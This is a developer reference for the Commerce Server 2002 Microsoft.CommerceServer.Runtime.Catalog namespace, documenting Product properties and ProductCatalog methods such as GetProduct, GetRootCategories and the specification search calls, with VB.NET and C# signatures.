Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.ParentCategoryNames Property (BCL)

The ParentCategoryNames property gets the names of the categories that are immediate parents of this product in the category hierarchy.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ParentCategoryNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection ParentCategoryNames {get;}

Property Value

ReadOnlyStringCollection that contains the names of the categories that are immediate parents of this product in the category hierarchy.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

If this product is a root product, the returned array is empty.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.PrimaryParentCategoryName Property (BCL)

The PrimaryParentCategoryName property is a read-only string that gets the name of the primary parent category of this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PrimaryParentCategoryName As System.String
[C#]
public virtual System.String PrimaryParentCategoryName {get;}

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.ProductCatalog Property (BCL)

The ProductCatalog property gets the ProductCatalog object that contains this product.

Definition

[Visual Basic .NET]
Public ReadOnly Property ProductCatalog As ProductCatalog
[C#]
public ProductCatalog ProductCatalog {get;}

Property Value

ProductCatalog object that contains this product.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.ProductId Property (BCL)

The ProductId property gets the product ID of this product.

Definition

[Visual Basic .NET]
Public ReadOnly Property ProductId As System.String
[C#]
public System.String ProductId {get;}

Property Value

String that contains the product ID of the Product object.

Remarks

The value of this property is a copy of the value of the IdentifyingProductProperty property of the catalog containing this product.

The value of this property will always be "ProductID" for a virtual catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog Class (BCL)

Represents a catalog in the Commerce Server 2002 Product Catalog System. A ProductCatalog object should be referenced only on the page in which it was created.

Protected Instance Constructor

Constructor | Description
ProductCatalog Constructor(String, CatalogContext) | Creates a new instance of the ProductCatalog class.

Public Instance Methods

Method | Description
AddSpecificationSearchClause(String, String) | Adds a clause to a specification search handle and returns the updated handle.
BeginSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Begins a specification search of the catalog and get the property values available for specification.
Dispose | Releases the resources used by this object.
GetCatalogAttributes | Gets all the attributes of the catalog.
GetCategory(String) | Retrieves a Category object from the catalog.
GetProduct(String) | Retrieves a Product object from the catalog.
GetProductVariant(String, String) | Retrieves the information for a product variant.
GetRootCategories(CatalogSearchOptions, Int32) | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootCategories(CatalogSearchOptions) | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootCategories | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts(CatalogSearchOptions, Int32) | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts(CatalogSearchOptions) | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetSpecificationSearchClauses(String) | Gets the array of specification search clauses represented by the specification search handle.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
RemoveSpecificationSearchClause(String) | Removes the last specification search clause from the search handle.

Public Instance Properties

Property | Description
ActiveLanguage | Gets language in which data returned by this catalog object should be returned.
CatalogContext | Gets the CatalogContext object that was used to create this ProductCatalog object.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create this ProductCatalog object.
DefaultLanguage | Gets the default language for this catalog.
IdentifyingProductProperty | Gets the name of the property that identifies products in this catalog.
IdentifyingVariantProperty | Gets the name of the property that identifies variants in this catalog .
Languages | Gets all of the available languages for this catalog as an array of strings.
Name | Gets the name of the catalog.
PropertyNames | Gets the names of all properties defined for the catalog
SpecificationSearchableCategories | Gets a list of property names for properties that are searchable by the SpecificationSearch objects.

Protected Instance Constructor

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases the managed resources.

Remarks

There are no public constructors for the ProductCatalog object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog Constructor (BCL)

Protected Instance Constructor

Constructor | Description
ProductCatalog Constructor(String, CatalogContext) | Creates a new instance of the ProductCatalog class.


ProductCatalog Constructor (String, CatalogContext) (BCL)

Use this method to create a new instance of the ProductCatalog class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogName As System.String, _
  ByVal catalogContext As CatalogContext _
)
[C#]
public ProductCatalog(
  System.String catalogName,
  CatalogContext catalogContext
);

Parameters

[Visual Basic .NET]
catalogName
The name of the product catalog. May not be null.
catalogContext
The CatalogContext instance that is creating this ProductCatalog object. May not be null.
[C#]
catalogName
The name of the product catalog. May not be null.
catalogContext
The CatalogContext instance that is creating this ProductCatalog object. May not be null.

Remarks

Throws an ArgumentNullException if either parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog Methods (BCL)

Public Instance Methods

Method | Description
AddSpecificationSearchClause(String, String) | Adds a clause to a specification search handle and returns the updated handle.
BeginSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Begins a specification search of the catalog and gets the property values available for specification.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases the managed resources.
GetCatalogAttributes | Gets all attributes of the catalog.
GetCategory(String) | Retrieves a Category object from the catalog.
GetProduct(String) | Retrieves a Product object from the catalog.
GetProductVariant(String, String) | Retrieves the information for a product variant.
GetRootCategories(CatalogSearchOptions, Int32) | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootCategories(CatalogSearchOptions) | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootCategories | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts(CatalogSearchOptions, Int32) | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts(CatalogSearchOptions) | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetSpecificationSearchClauses(String) | Gets the array of specification search clauses represented by the specification search handle.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
RemoveSpecificationSearchClause(String) | Removes the last specification search clause from the search handle.

Protected Instance Constructor

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases the managed resources.


ProductCatalog.AddSpecificationSearchClause (String, String) Method (BCL)

Use this method to add a clause to a specification search handle and return the updated handle.

Definition

[Visual Basic .NET]
Overridable Public Function AddSpecificationSearchClause( _
  ByVal clauseToAdd As System.String, _
  ByVal searchHandle As System.String _
) As System.String
[C#]
public virtual System.String AddSpecificationSearchClause(
  System.String clauseToAdd,
  System.String searchHandle
);

Parameters

[Visual Basic .NET]
clauseToAdd
The TSQL Where clause to add. May not be null.
searchHandle
The existing specification search handle. May not be null.
[C#]
clauseToAdd
The TSQL Where clause to add. May not be null.
searchHandle
The existing specification search handle. May not be null.

Return Value

The updated specification search handle.

Remarks

Throws an ArgumentNullException if either argument is null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.BeginSpecificationSearch (String, SpecificationSearchPropertyResult[]) Method (BCL)

Use this method to begin a specification search of the catalog and get the property values available for specification.

Definition

[Visual Basic .NET]
Overridable Public Function BeginSpecificationSearch( _
  ByVal categoryName As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] _
) As System.String
[C#]
public virtual System.String BeginSpecificationSearch(
  System.String categoryName,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues
);

Parameters

[Visual Basic .NET]
categoryName
The category to search. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
[C#]
categoryName
The category to search. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.

Return Value

The specification search handle.

Remarks

Throws an ArgumentNullException if the catalogContext parameter is null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.Dispose Method (BCL)

Use this method to release the resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the ProductCatalog.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally to release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this method was called from the Dispose method, false if this method was called from the finalizer.
[C#]
disposing
True if this method was called from the Dispose method, false if this method was called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetCatalogAttributes Method (BCL)

Use this method to get all attributes of the catalog.

Definition

[Visual Basic .NET]
Overridable Public Function GetCatalogAttributes( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCatalogAttributes(
);

Return Value

A DataSet containing a single DataTable with the catalog attribute data.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetCategory (String) Method (BCL)

Use this method to retrieve a Category object from the catalog.

Definition

[Visual Basic .NET]
Overridable Public Function GetCategory( _
  ByVal categoryName As System.String _
) As Category
[C#]
public virtual Category GetCategory(
  System.String categoryName
);

Parameters

[Visual Basic .NET]
categoryName
The identifier of the category to return. A null value indicates to return the root category.
[C#]
categoryName
The identifier of the category to return. A null value indicates to return the root category.

Return Value

The Category object.

Remarks

When used in the context of the Commerce Server 2002 .NET Application Framework, a Category object is valid only for the request on which it was created. It will be automatically disposed in the OnEndRequest handler.

Throws a CategoryNotFoundException if the category does not exist in the catalog.

Throws a CatalogException if there is a failure in the COM layer.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetProduct (String) Method (BCL)

Use this method to retrieve a Product object from the catalog.

Definition

[Visual Basic .NET]
Overridable Public Function GetProduct( _
  ByVal productId As System.String _
) As Product
[C#]
public virtual Product GetProduct(
  System.String productId
);

Parameters

[Visual Basic .NET]
productId

The identifier of the product to return. May not be null.
[C#]
productId

The identifier of the product to return. May not be null.

Return Value

The Product object.

Remarks

When used in the context of the Commerce Server 2002 .NET Application Framework, a Product object is valid only for the request on which it was created. It will be automatically disposed in the OnEndRequest handler.

Throws an ArgumentNullException if the catalogContext parameter is null.

Throws a ProductNotFoundException if the product does not exist in the catalog.

Throws a CatalogException if there is a failure in the COM layer.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetProductVariant (String, String) Method (BCL)

Use this method to retrieve the information for a product variant.

Definition

[Visual Basic .NET]
Overridable Public Function GetProductVariant( _
  ByVal productId As System.String, _
  ByVal variantId As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProductVariant(
  System.String productId,
  System.String variantId
);

Parameters

[Visual Basic .NET]
productId
The product ID. May not be null.
variantId
The variant ID. May not be null.
[C#]
productId
The product ID. May not be null.
variantId
The variant ID. May not be null.

Return Value

A DataSet containing a single DataTable with the product variant properties.

Remarks

Throws a CatalogException on failure.

Throws an ArgumentNullException if either parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootCategories Method (BCL)

Use this method to return all properties for the root categories in this catalog.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootCategories( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootCategories(
);

Return Value

A DataSet with a single DataTable containing the category information.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootCategories (CatalogSearchOptions) Method (BCL)

Use this method to get the root categories in the catalog and return the results according to the searchOptions parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootCategories( _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootCategories(
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchOptions
The CatalogSearchOptions object. May be null.
[C#]
searchOptions
The CatalogSearchOptions object. May be null.

Return Value

A DataSet with a single DataTable containing the root products.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootCategories (CatalogSearchOptions, Int32) Method (BCL)

Use this method to return the properties of the root categories of this catalog and return results according to the searchOptions parameter, and to return the total number of root products in the catalog in the totalRecords parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootCategories( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootCategories(
  CatalogSearchOptions searchOptions,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
The total number of root products.
[C#]
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
The total number of root products.

Return Value

A DataSet with a single DataTable containing the root categories.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootProducts Method (BCL)

Use this method to get all the root products in the catalog and return all of the properties for those products.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootProducts( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootProducts(
);

Return Value

A DataSet with a single DataTable containing the root products.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootProducts (CatalogSearchOptions) Method (BCL)

Use this method to get the root products in the catalog and return the results according to the searchOptions parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootProducts( _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootProducts(
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchOptions
The CatalogSearchOptions object. May be null.
[C#]
searchOptions
The CatalogSearchOptions object. May be null.

Return Value

A DataSet with a single DataTable containing the root products.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetRootProducts (CatalogSearchOptions, Int32) Method (BCL)

Use this method to get the root products in the catalog and return the results according to the searchOptions parameter, and to return the total number of root products in the catalog in the totalRecords parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetRootProducts( _
  ByVal searchOptions As CatalogSearchOptions, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRootProducts(
  CatalogSearchOptions searchOptions,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
The total number of root products.
[C#]
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
The total number of root products.

Return Value

A DataSet with a single DataTable containing the root products.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetSpecificationSearchClauses (String) Method (BCL)

Use this method to get the array of specification search clauses represented by the specification search handle.

Definition

[Visual Basic .NET]
Overridable Public Function GetSpecificationSearchClauses( _
  ByVal searchHandle As System.String _
) As System.String[]
[C#]
public virtual System.String[] GetSpecificationSearchClauses(
  System.String searchHandle
);

Parameters

[Visual Basic .NET]
searchHandle
The specification search handle. May not be null.
[C#]
searchHandle
The specification search handle. May not be null.

Return Value

An array of strings containing the specification search clauses.

Remarks

Throws an ArgumentNullException if the catalogContext parameter is null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GuaranteedSpecificationSearch (String, SpecificationSearchPropertyResult[]) Method (BCL)

Use this method to perform a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GuaranteedSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] _
) As System.Data.DataSet
[C#]
public virtual DataSet GuaranteedSpecificationSearch(ref
  String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
[C#]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.

Return Value

A DataSet with a single DataTable containing the search results.

Remarks

Tje GuaranteedSpecificationSearch method removes search clauses from the handle one at a time until some results are returned.

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GuaranteedSpecificationSearch (String, SpecificationSearchPropertyResult[], CatalogSearchOptions) Method (BCL)

Use this method to perform a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter. The searchOptions parameter can be used to determine which class of catalog objects to return, the list of properties to return, and the number of records wanted.

Definition

[Visual Basic .NET]
Overridable Public Function GuaranteedSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[], _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GuaranteedSpecificationSearch(
  System.String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues,
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.
[C#]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.

Return Value

A DataSet with a single DataTable containing the search results.

Remarks

The GuaranteedSpecificationSearch method removes search clauses from the handle one at a time until some results are returned.

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GuaranteedSpecificationSearch (String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) Method (BCL)

Use this method to perform a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter. The searchOptions parameter can be used to determine which class of catalog objects to return, the list of properties to return, and the number of records wanted. The total number of matching records is returned through the totalRecords parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GuaranteedSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[], _
  ByVal searchOptions As CatalogSearchOptions, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GuaranteedSpecificationSearch(
  System.String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues,
  CatalogSearchOptions searchOptions,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions objectspecifying how results should be returned. May be null.
totalRecords
The total number of matching records.
[C#]
searchHandle
The search handle, updated on output. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.
totalRecords
The total number of matching records.

Return Value

A DataSet with a single DataTable containing the search results.

Remarks

The GuaranteedSpecificationSearch method removes search clauses from the handle one at a time until some results are returned.

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.PerformSpecificationSearch (String, SpecificationSearchPropertyResult[]) Method (BCL)

Use this method to perform a specification search and return the matching results. The updated property values are returned via the propertyValues parameter.

Definition

[Visual Basic .NET]
Overridable Public Function PerformSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet PerformSpecificationSearch(
  System.String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
[C#]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.

Return Value

A DataSet with a single DataTable containing the search results.

Remarks

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.PerformSpecificationSearch (String, SpecificationSearchPropertyResult[], CatalogSearchOptions) Method (BCL)

Use this method to perform a specification search and return the matching results. The updated property values are returned through the propertyValues parameter. The searchOptions parameter can be used to determine which class of catalog objects to return, the list of properties to return, and the number of records required.

Definition

[Visual Basic .NET]
Overridable Public Function PerformSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[], _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet PerformSpecificationSearch(
  System.String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues,
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.
[C#]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.

Return Value

A DataSet with a single DataTable containing the search results.

Remarks

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.PerformSpecificationSearch (String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) Method (BCL)

Use this method to perform a specification search and return the matching results. The updated property values are returned through the totalRecords parameter. The searchOptions parameter can be used to determine which class of catalog objects to return, the list of properties to return, and the number of records wanted. The total number of matching records is returned through the totalRecords parameter.

Definition

[Visual Basic .NET]
Overridable Public Function PerformSpecificationSearch( _
  ByVal searchHandle As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[], _
  ByVal searchOptions As CatalogSearchOptions, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet PerformSpecificationSearch(
  System.String searchHandle,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues,
  CatalogSearchOptions searchOptions,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.
totalRecords
The total number of matching records.
[C#]
searchHandle
The search handle. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
searchOptions
The CatalogSearchOptions object specifying how results should be returned. May be null.
totalRecords
The total number of matching records.

Return Value

A DataSet with a single DataTable containing the search results

Remarks

Throws a CatalogException on failure.

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.RemoveSpecificationSearchClause (String) Method (BCL)

Use this method to remove the last specification search clause from the search handle.

Definition

[Visual Basic .NET]
Overridable Public Function RemoveSpecificationSearchClause( _
  ByVal searchHandle As System.String _
) As System.String
[C#]
public virtual System.String RemoveSpecificationSearchClause(
  System.String searchHandle
);

Parameters

[Visual Basic .NET]
searchHandle
The specification search handle. Updated on output. May not be null.
[C#]
searchHandle
The specification search handle. Updated on output. May not be null.

Return Value

A string containing the clause that was removed.

Remarks

Throws an ArgumentNullException if the catalogContext parameter is null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

